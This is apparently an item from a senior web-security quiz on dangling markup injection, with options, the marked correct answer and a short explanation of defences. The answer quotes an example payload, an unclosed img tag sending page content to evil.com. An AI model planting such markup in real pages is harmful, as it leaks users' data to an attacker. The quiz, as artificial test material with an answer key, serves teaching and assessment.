Web Security · Senior · Question 12 of 75
What is dangling markup injection?
- 1HTML tags left in the code after a refactor
- 2A CSS rule that hangs the browser
- ✓Correct answer: An unclosed tag like
<img src="https://evil.com/?captures the following page content into a URL, leaking data without running script
Explanation
It works even when CSP blocks scripts. Contextual encoding prevents it; restrictive img-src and form-action reduce the impact.